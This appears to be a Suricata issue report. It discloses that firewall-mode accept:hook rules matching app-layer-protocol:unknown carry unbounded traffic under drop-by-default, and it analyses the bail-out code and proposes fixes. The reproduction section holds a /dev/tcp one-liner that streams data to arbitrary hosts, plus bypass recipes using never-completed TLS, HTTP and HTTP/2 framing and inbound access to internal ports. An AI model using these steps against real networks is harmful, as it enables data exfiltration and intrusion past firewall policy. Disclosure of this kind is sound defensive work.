Suricata

Summary

In firewall mode with a drop-by-default policy, the recommended way to carry a connection to an application-layer hook — an accept:hook rule matching app-layer-protocol:unknown ("allow all packets while protocol detection is running", as introduced in #7705) — accepts an unbounded amount of traffic, in both directions, for as long as the flow's alproto stays ALPROTO_UNKNOWN. The rule places no bound on how much undecided data it carries, so a client (or a compromised internal host) can transfer arbitrary data to any destination IP and port — or an external client can reach any internal IP and port — without ever completing, or even starting, a real protocol handshake. Under a drop-by-default policy this defeats the policy's intent: only explicitly allowed destinations should be reachable, yet the carrier rule makes every destination reachable for the lifetime of "protocol detection in progress."

The pattern that creates the gap

To allow TLS to an allowlisted SNI under default-drop, a connection must first be accepted at the TCP layer so it can reach the tls:client_hello hook. The standard carrier (per#7704/#7705) is:

accept:hook tcp:all $HOME_NET any -> $EXTERNAL_NET any (tcp.session:setup,established; app-layer-protocol:unknown|tls; sid:1;)
  accept:hook tcp:all $EXTERNAL_NET any -> $HOME_NET any (tcp.session:setup,established; app-layer-protocol:unknown|tls; sid:2;)
  accept:flow tls:<client_hello $HOME_NET any -> $EXTERNAL_NET any (tls.sni; content:"allowed.example.com"; ...; sid:3;)

The unknown term is required: the 3WHS, bare ACKs, and the first data segments of the ClientHello all arrive while alproto == ALPROTO_UNKNOWN, so without unknown the carrier would drop the handshake and no connection could reach the app-layer hook. But unknown has no upper bound, so it equally accepts arbitrary non-protocol traffic for as long as detection has not resolved.

Why it is unbounded in practice

The only limit on "data accepted while unknown" is the protocol-detection bail-out in app-layer.c (TCPProtoDetectCheckBailConditions):

const uint32_t size_ts = StreamDataAvailableForProtoDetect(&ssn->client);
  const uint32_t size_tc = StreamDataAvailableForProtoDetect(&ssn->server);

const uint32_t size_tc_limit = MAX(100000, MIN(ssn->client.window, stream_config.reassembly_depth));
  const uint32_t size_ts_limit = MAX(100000, MIN(ssn->server.window, stream_config.reassembly_depth));

StreamDataAvailableForProtoDetect() returns the buffered stream bytes (sb.sbb_size / sb.region.buf_offset), and that buffer is clamped at stream.reassembly.depth. So the measured quantity (size_ts/size_tc) and its threshold (size_*_limit) are both bounded by reassembly.depth:
- Receive window smaller than the reassembly depth: MIN collapses to the window, the limit is the 100000 floor, size_ts can exceed it, the one-sided branch fires, and the flow is driven to ALPROTO_FAILED at ~100 KB. (Verified: a one-way upload is cut at 100,001 bytes with a small window.)
- Receive window at or above the reassembly depth: the limit becomes MAX, but size_ts is itself capped at depth, so size_ts > size_ts_limit can never be true. The bail-out never fires, alproto stays ALPROTO_UNKNOWN for the life of the flow, and the unknown carrier keeps accepting.

With the default stream.reassembly.depth (1 MB), any connection whose receiving peer advertises a window of 1 MB or more falls into the second case. That is routine for a reader on a modern autotuning TCP stack over a reasonable-bandwidth path, so the bail-out is silently disabled for ordinary, well-behaved connections — not just an edge case.

Reproduction (verified on 8.0.6, default stream.reassembly.depth)

Drop-by-default firewall policy, the carrier ruleset above.

1. From an internal host, open a plain TCP connection to any external IP:port not on the allowlist, where the receiver advertises a large window (a reader on an autotuning stack over a decent-bandwidth path reaches ≥ 1 MB), and send arbitrary bytes:

head -c 5000000 /dev/urandom > /dev/tcp/<arbitrary_ip>/<arbitrary_port>

Result: all 5,000,000 bytes are accepted and forwarded; ips.blocked == 0; no drop. The data never matches a protocol, alproto stays UNKNOWN, and the carrier accepts indefinitely.

2. A "framed-but-never-completed" variant does not even depend on window size: send a 3-byte TLS record header (16 03 01) with a ClientHello whose 24-bit handshake length claims a huge value, then stream arbitrary bytes. alproto latches to tls, but the handshake transaction never reaches client_hello, so the pending-hook acceptance persists and the flow carries unbounded TLS-framed data to any IP. The same works with a GET / HTTP/1.1 prefix (latches http, request never completes) and with an HTTP/2 HEADERS frame followed by an unbounded CONTINUATION stream.

3. The reverse direction is equally exposed: an external client can reach any internal IP:port (for example a host's SSH or database port) and transfer arbitrary data, because the return-direction carrier $EXTERNAL_NET -> $HOME_NET accepts unknown too. (Verified: a 3 MB inbound transfer to an internal port is fully accepted.)

In every case the firewall's default-drop policy is intended to block these destinations, and does block them once detection resolves to FAILED (small window) — but with a receive window at or above the reassembly depth it never resolves, so the block never happens.

The ask

A way for a firewall accept:hook rule to accept traffic while protocol detection is in progress without that acceptance being an unbounded channel. Any one of the following closes the gap:

1. Make the existing protocol-detection bail-out effective when the receive window is at or above the reassembly depth. The intent of TCPProtoDetectCheckBailConditions is already correct — give up and set ALPROTO_FAILED when a direction carries more than its limit without a protocol match. It simply measures the wrong quantity: StreamDataAvailableForProtoDetect() is clamped at reassembly.depth, the same ceiling that feeds the limit, so the two can never cross once the window reaches depth. Evaluate the bail condition against bytes seen on the wire per direction (e.g. next_seq - isn, or a dedicated detection-byte counter) instead. Keep the MAX) ceiling if desired, but compare it to a quantity that can actually exceed it, so a flow that has carried > limit bytes in one direction with no protocol match is driven to ALPROTO_FAILED regardless of how depth and window relate. This is the most general fix: it closes the gap for every rule that relies on unknown, needs no new keyword, and requires no manual tuning. Once the flow is FAILED, an unknown-only carrier stops matching and the default policy applies — the desired fail-closed behavior.

2. A bounded "detection in progress" acceptance at the rule level. A first-class way for a rule to say "accept up to N bytes per direction while alproto is still unknown, then stop" — for example an implicit, configurable byte budget on app-layer-protocol:unknown, or a dedicated keyword such as app-layer.detect-budget:N. This lets the carrier do its job (reach the hook) without becoming an exfiltration path, and gives users an explicit bound.

3. Bound the "detection in progress + final protocol" acceptance that #7705 introduced. #7705 added app-layer-protocol:unknown,<proto> so one rule can accept detection-in-progress and the final protocol. That acceptance is currently open-ended. We would like its "in progress" portion to carry an enforceable upper bound (a byte budget and/or a fail-closed resolution), so that the feature that makes the firewall usable (#7583) does not simultaneously create an any-destination data channel under default-drop.

Preference is (1), because it fixes the root cause — detection never resolving — for every unknown-based carrier, without requiring users to choose an N.